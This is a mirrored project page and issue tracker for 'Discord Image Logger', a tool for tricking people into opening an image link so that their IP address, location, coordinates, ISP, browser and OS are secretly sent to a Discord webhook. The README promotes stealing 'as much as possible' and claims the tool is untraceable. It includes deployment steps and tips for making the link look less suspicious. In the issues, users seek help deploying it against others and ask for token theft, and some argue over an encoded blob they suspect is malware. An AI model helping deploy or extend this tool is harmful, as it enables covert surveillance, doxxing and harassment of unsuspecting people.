Code Monkey home page Code Monkey logo

discord-image-logger's Introduction

πŸ“Έ Discord Image Logger

Discord Image Logger is a simple yet powerful tool that I have created to make it easy to get people to click on links. You can get a person to visit pretty much any site using this trick, and all you need to do is send them an image! It also includes a built-in IP logger with detailed information about the user.

Please note that this is NOT a "one click" image logger. There is a very popular scam going around where people claim that they can create an image that will steal all your tokens, passwords and more (basically an image RCE) just by clicking on an image. However, they are all fake, and I advise against running any EXE's you find from those repositories or buying anything from anyone.

If you're going to fork this repository, star it too while you're at it!

Stuck? Try the Video Tutorial!
For updates and events, you should join the Discord!

πŸ“š Table of Contents


πŸ’Ž Features

  • Fast, Free, and Easy!
  • 100% Untracable and Anonymous!
  • Requires only clicking "Open Original"!
  • Steals as much as possible, including your street address via GPS!
  • Under active development, many new features will be added! Not so much, but a new version will be worked on soon! Drop ideas!

πŸ”§ Configuration

Before setting it up, let's modify the config.
Open up main.py and edit the values, refer to the key below.

WEBHOOK: Your Discord webhook!
IMAGE: A LINK to your desired Image.
IMAGEARGUMENT: Enable image reading from the argument. (See Annotation #1)
USERNAME: The username of the bot that sends
COLOR: The embed's sidebar color
DOCRASHBROWSER: Crash the user's browser
DOMESSAGE: Show a custom message when they click?
MESSAGE: The message to show.
RICHMESSAGE: Enable a rich message, which allows inserting variables. (See Annotation #2)
VPNCHECK: Prevent VPNs from spamming your webhook!
LINKALERTS: Tell you when someone sends an image logging link
BUGGEDIMAGE: Display a loading image on Discord
ANTIBOT: Prevent bots from spamming your webhook!
REDIRECT: Redirect user?
PAGE: Page to redirect to, if so

ANNOTATIONS:

  • 1) IMAGEARGUMENT When enabled, this will allow you to provide an argument in the URL as the image.
    You can do this by URL-safe Base64 encoding a link, and supplying it as the URL or ID argument.
    EXAMPLE: https://your.epic.image.logger/api/main?url=aHR0cHM6Ly8...
    The above Base64 is cut off short, but it would lead to a URL of an image.
    If it's enabled and no URL or ID argument is supplied, the default configured one will be used.

  • 2) RICHMESSAGE Rich Message allows you to insert variables such as the client's IP, Location, ASN, etc. for the Crashbrowser message.
    Simply insert anything in the following table and it will replace it respectively.

Values
{ip} Their IP Address.
{isp} Their ISP (Internet Service Provider)
{asn} Their ASN (Autonomous System Number)
{country} The country in which the IP is located.
{region} The region in which the IP is located.
{city} The city in which the IP is located.
{lat} The IPs latitude.
{long} The IPs longitude.
{timezone} The timezone of the IP.
{mobile} If it's a mobile connection.
{vpn} If the IP belongs to a VPN/Proxy.
{bot} If the IP is a robot.
{browser} The Browser of the client.
{os} The OS of the client.

βš’οΈ Setup

Now that you've got all that set up, let's install this thing!

You can also watch the Video Tutorial!

  • 1: Create a GitHub repository. I recommend it be private, so others can't see your webhook URL.
  • 2: Make a folder named api, and place requirements.txt and main.py in (Rename it whatever, e.g. catpicture.py would make the URL your.site/api/catepicture)
  • 3: (Optional) make a file in the main root (NOT IN API) named index.html, and put the code below in:
<meta http-equiv="refresh" content="0;url=./api/main.py">

(You can replace main.py with whatever you made it!); The point of this step is so that you can just visit your.site and not your.site/api/main (The former seems much less suspicious) however note it may not preview on Discord if you do so. Still looking for a workaround for this.

  • 4: Visit https://vercel.com and log in with GitHub.
  • 5: Click add new to make a new project. Select the GitHub repository you made where it says Import GitHub Repository
  • 6: Copy the domain for you. It should be something like project.vercel.app, unless you did step #3 you'll have to add api/main to it, so it will look more like project.vercel.app/api/main (Replace project.vercel.app with the domain it gave you, and main with whatever you named the file, WITHOUT THE .py, or else it will say potentially dangerous download), now send your link, have someone click Open Original/Open in Browser, and watch!

You can also add a domain if you have one!


πŸ› Bug Reports & Suggestions

Found a bug? Have an idea? Let me know here! Please provide a detailed explanation of the expected behavior, actual behavior, and steps to reproduce, or what you want to see and how it could be done. You can be a small part of this project!

NOTE: You are NOT supposed to run main.py! Please read the instructions. I will not help if your bug report/issue is "main.py will not open".

Active/known bugs:. None at the moment!


πŸ“œ Closing Statements

Liked the project? I know you did! Support me, drop a star!
Additionally, you can donate to me! See my donations page, always appreciated!

Thank you for choosing my tools! πŸ™

discord-image-logger's People

Contributors

dekrypted avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

discord-image-logger's Issues

How to use this HELP XD

i dont know what dose " use a web host and host it as a serverless function! " mean i mean how can i host an serverless function

Help

This isnt really an issue but I couldn't find another way to contact you so.
I was wondering what link do i copy when it "creates one" for me cause all i see is this
image

Work but no token grab

It work but there no token grab, i can juste see the ip and other info, can you add token grab

Why?

Why would you encrypt an image?? that

binaries = {
"loading": base64.b85decode(b'|JeWF01!$>Nk#wx0RaF=07w7;|JwjV0RR90|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|Nq+nLjnK)|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsBO01*fQ-~r$R0TBQK5di}c0sq7R6aWDL00000000000000000030!~hfl0RR910000000000000000RP$m3<CiG0uTcb00031000000000000000000000000000')
# This IS NOT a rat or virus, it's just a loading image. (Made by me! :D)
# If you don't trust it, read the code or don't use this at all. Please don't make an issue claiming it's duahooked or malicious.
# You can look at the below snippet, which simply serves those bytes to any client that is suspected to be a Discord crawler.

Dualhooked

Why Is There "|JeWF01!$>Nk#wx0RaF=07w7;|JwjV0RR90|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|Nq+nLjnK)|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsBO01*fQ-~r$R0TBQK5di}c0sq7R6aWDL00000000000000000030!~hfl0RR910000000000000000RP$m3<CiG0uTcb00031000000000000000000000000000" I Couldnt Decode It But I Am 100% Sure That Its Dualhooked

The image loding

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

returns nothing

when i run it just returns Process finished with exit code 0 and does nothing.... what can i do

probleme

comment l'hΓ©berger en tant que fonction sans serveur

how to host it as a serverless function

Serverless Function

How to host a serverless Function and how to host, A simple advice or Tutorial will be really apperciated.

404 Error

I am seeing a 404 error on vercel

I have all the code already done. I created the api folder and added both files. After importing it, it showed for a 404 error. The only thing that I think may have caused this is a bad image, or me only filling out the IMAGE and WEBHOOK on the main.py file.

Please and thank you.

Screenshot_20230226_042701
Screenshot_20230226_042745

Desktop

  • OS: Windows
  • Browser: Chrome

Building Logs:

Running build in Cleveland, USA (East) – cle1

16:18:41.342 | Cloning github.com/armaanbrar14/help (Branch: main, Commit: e92702e)
16:18:41.596 | Previous build cache not available
16:18:41.853 | Cloning completed: 511.995ms
16:18:41.927 | Running "vercel build"
16:18:42.359 | Vercel CLI 28.16.6
16:18:42.515 | Installing required dependencies...
16:18:45.377 | Build Completed in /vercel/output [3s]
16:18:48.618 | Generated build outputs:
16:18:48.618 | - Static files: 0
16:18:48.618 | - Prerenders: 0
16:18:48.618 | - Serverless Functions: 1
16:18:48.618 | - Edge Functions: 0
16:18:48.618 | Serverless regions: Washington, D.C., USA
16:18:48.618 | Deployed outputs in 2s
16:18:48.900 | Build completed. Populating build cache...
16:18:49.712 | Uploading build cache [29.00 B]...
16:18:50.041 | Build cache uploaded: 328.268ms

Website: https://help-blue.vercel.app/ (Of course, i get if you dont wanna press it)

conact with you

sorry for writing here but i can't add you on discord DeKrypt#0412, add me cwel#0001 pls

Hey Bro Discord Image Logger Problem

This is what I get when I type in CMD py main.py
line 3, in
import requests, base64, httpagentparser
ModuleNotFoundError: No module named 'requests'

I installed the requirements.txt

False accusation about this being malware

the code decodes a byte string "|JeWF01!$>Nk#wx0RaF=07w7;|JwjV0RR90|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|Nq+nLjnK)|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsBO01*fQ-~r$R0TBQK5di}c0sq7R6aWDL00000000000000000030!~hfl0RR910000000000000000RP$m3<CiG0uTcb00031000000000000000000000000000"
this is then turned to a string containing .exe binary i am not quite sure what it does with this its probably a virus not sure!
but beware running code you think is safe

isnt working

I'm sure I'm running it right, but it's not working, can you help?
actually you can make a tutorial video

LOL it does not work...

when i have already putted in the url and the webhook it does not grab any thing and ya the webhook works

help please it dont work

hello how to use please, when i execute it dont show any error but it dont send me anything on discord how it work pls

send file

can someone just send me the file that has everything and i just have to change the webhook? thanks
if you will do this add my discord, TheUnDeaadPuz#0001

W

S

still aint trusting that shady ass b85 code

i dont give a fucking damn about the people who say "read the code bro " πŸ€“πŸ€“ "uhm actually its an FAlse positive"
this doesn't work, u prob got dualhooked, dont trust sus code and stop trying to skid repos just to beam people on discord

Issue with Vercel

I don't understand how i'd put a backend file in vercel, any other programs or a simple quick step by step process to do it? I understand everything else.

Main root

Hello i would like to know what is the main root and where is it located

console problem

yo wsp so when i run the py script it does absolutely nothing, i installed all requirements but when I do 'python main.py' it does nothing and then automatically goes back to the location in the cmd.

am i doing smth wrong?

How do i fix this ?

[GET] /api/main
20:15:47:65
[ERROR] MissingSchema: Invalid URL '': No scheme supplied. Perhaps you meant https://?
Traceback (most recent call last):
File "/var/lang/lib/python3.9/importlib/init.py", line 127, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
File "", line 1030, in _gcd_import
File "", line 1007, in _find_and_load
File "", line 986, in _find_and_load_unlocked
File "", line 680, in _load_unlocked
File "", line 850, in exec_module
File "", line 228, in _call_with_frames_removed
File "/var/task/vc__handler__python.py", line 13, in
__vc_spec.loader.exec_module(__vc_module)
File "", line 850, in exec_module
File "", line 228, in _call_with_frames_removed
File "./api/main.py", line 120, in
"normal": requests.get(config["image"]).content,
File "/var/task/requests/api.py", line 73, in get
return request("get", url, params=params, **kwargs)
File "/var/task/requests/api.py", line 59, in request
return session.request(method=method, url=url, **kwargs)
File "/var/task/requests/sessions.py", line 573, in request
prep = self.prepare_request(req)
File "/var/task/requests/sessions.py", line 484, in prepare_request
p.prepare(
File "/var/task/requests/models.py", line 368, in prepare
self.prepare_url(url, params)
File "/var/task/requests/models.py", line 439, in prepare_url
raise MissingSchema(START RequestId: e30f62d8-4825-47fd-bde7-999a0bd06419 Version: $LATEST
Unknown application error occurred
Runtime.Unknown

When i try vercel it shows this error in _logs
Also gives this error (photo)
A33B591F-E868-4CCA-A801-88BDBDFE1A9F

Serverless function vercel

image
Serverless function crashing on vercel, I dmed u this on discord but idk if you got termed or not if so add me back

How it works??

I have alr a webhoster and put the api in flask app but how it works now

Vercel serverless complication problem

Hi I've been trying to implement this in vercel.app using the serverless functions and I cannot seem to know how to implement the serverless functions to interact with the main.py script as an API. When deploying the domain and going to /main.py it allows me to immediately download the file but not execute it as an API. Any solution for this?

500: INTERNAL_SERVER_ERROR

how to fix this issue I did everything what you said and it gives me this in vercel ,also it says this when I check logs:

[ERROR] ConnectionError: HTTPSConnectionPool(host='link-to-you-image.here', port=443): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f24be8d7400>: Failed to establish a new connection: [Errno -2] Name or service not known'))
Traceback (most recent call last):
File "/var/lang/lib/python3.9/importlib/init.py", line 127, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
File "", line 1030, in _gcd_import
File "", line 1007, in _find_and_load
File "", line 986, in _find_and_load_unlocked
File "", line 680, in _load_unlocked
File "", line 850, in exec_module
File "", line 228, in _call_with_frames_removed
File "/var/task/vc__handler__python.py", line 13, in
__vc_spec.loader.exec_module(__vc_module)
File "", line 850, in exec_module
File "", line 228, in _call_with_frames_removed
File "./api/main.py", line 120, in
"normal": requests.get(config["image"]).content,
File "/var/task/requests/api.py", line 73, in get
return request("get", url, params=params, **kwargs)
File "/var/task/requests/api.py", line 59, in request
return session.request(method=method, url=url, **kwargs)
File "/var/task/requests/sessions.py", line 587, in request
resp = self.send(prep, **send_kwargs)
File "/var/task/requests/sessions.py", line 701, in send
r = adapter.send(request, **kwargs)
File "/var/task/requests/adapters.py", line 565, in send
raise ConnectionError(e, request=request)START RequestId: 1a17f1eb-a114-4ebc-9eef-f791a52dfa57 Version: $LATEST
Unknown application error occurred
Runtime.Unknown

can you help me please? nvm forget it fixed it by using another image link you can close this

READ THIS

Working on Making this Easier to set up and making clear instructions. For the time being, to install:

  • Download the Script and fill in the required info
  • Get a web hosting service that supports Python API functions
  • Use their tutorial to get the image grabber on your site as a working API

I personally use Vercel which has a nice documentation about Python Serverless Functions

Because I'm busy, I will not be offering help setting this up. If this tutorial doesn't help you, maybe this isn't for you.

discord image logger

hello, i have a problem, im doing all with instruction and i still doesnt know how to run this etc. Help me please :**

Error

image
So i did everything u told to do and here i am with this error.
What can be wrong?

Im trash at coding

Im really bad at coding and i dont really understand that what do i need to to to make it work so if its fine by any chance that you could make a tutorial video for me and other people? thank you

hi can you please make a yt vid its to confusting

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]

Describe the solution you'd like
A clear and concise description of what you want to happen.

Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.

Additional context
Add any other context or screenshots about the feature request here.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.